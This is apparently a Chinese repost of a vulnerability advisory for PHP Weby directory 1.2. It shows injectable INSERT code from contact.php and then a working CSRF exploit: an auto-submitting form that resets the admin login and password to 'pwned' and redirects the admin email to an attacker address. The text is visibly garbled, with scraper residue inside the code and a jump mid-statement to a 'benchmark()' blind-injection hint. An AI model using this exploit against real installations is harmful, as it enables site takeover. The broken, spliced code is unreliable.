影响程序: PHP Weby directory software version 1.2 开发者： http://phpweby测试数据 下载地址: ht*p://phpweby测试数据/down/phpwebydirectory.zip 缺陷类别: Blind SQL injection && CSRF 程序介绍: Php Weby directory script is a powerful and easy-to-use FREE link management script with numerous options for running a directory, catalog of sites or a simple link exchange system. Create a general directory and have users submit their favorite sites and charge if you want for the review. Or create regional directory for your town or state and sell advertising, or niche directory about a topic you love or know. =========================================== 测试系统: Debian squeeze 6.0.6 服务器版本: Apache/2.2.16 (Debian) Apache traffic server 3.2.0 MYSQL: 5.1.66-0+squeeze1 PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug 6 2012 20:08:59) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH =========================================== 缺陷代码示例: //contact.php ==============SNIP BEGINS=============== if($capt) { unset($capt); if($_POST['fullname']=='' || $_POST['subject']=='' || $_POST['message']=='' || $_POST['mail']=='') $smarty->assign('error','Please complete the form!'); else { HdhCmsTest2cto测试数据 $c=$db->Execute("INSERT INTO contacts(fullname,subject,message,mail,ip,timehour) values('" . $_POST['fullname'] .

If so simply benchmark() is your best friend. 第二个缺陷是: CSRF Simple exploit to change admin username/password/email: Login/password will be change to pwned and email to : admin@toattacker.tld <body onload="javascript:document.forms[0].submit()"> <form action="http:// HdhCmsTest2cto测试数据 /phpweb/admin/options.php?r=admin" method="post"> <input type="text" name="ADMIN_NAME" value="admin"/> <input type="text" name="ADMIN_MAIL" value="admin@toattacker.tld"/> <input type="text" name="usr" value="pwned"/> <input type="password" name="pass1" value="pwned"/> <input type="password" name="pass2" value="pwned"/> <input type="hidden" name="oldusr" value="admin"/> <input type="submit" value="Save" class="ss"/> </form>
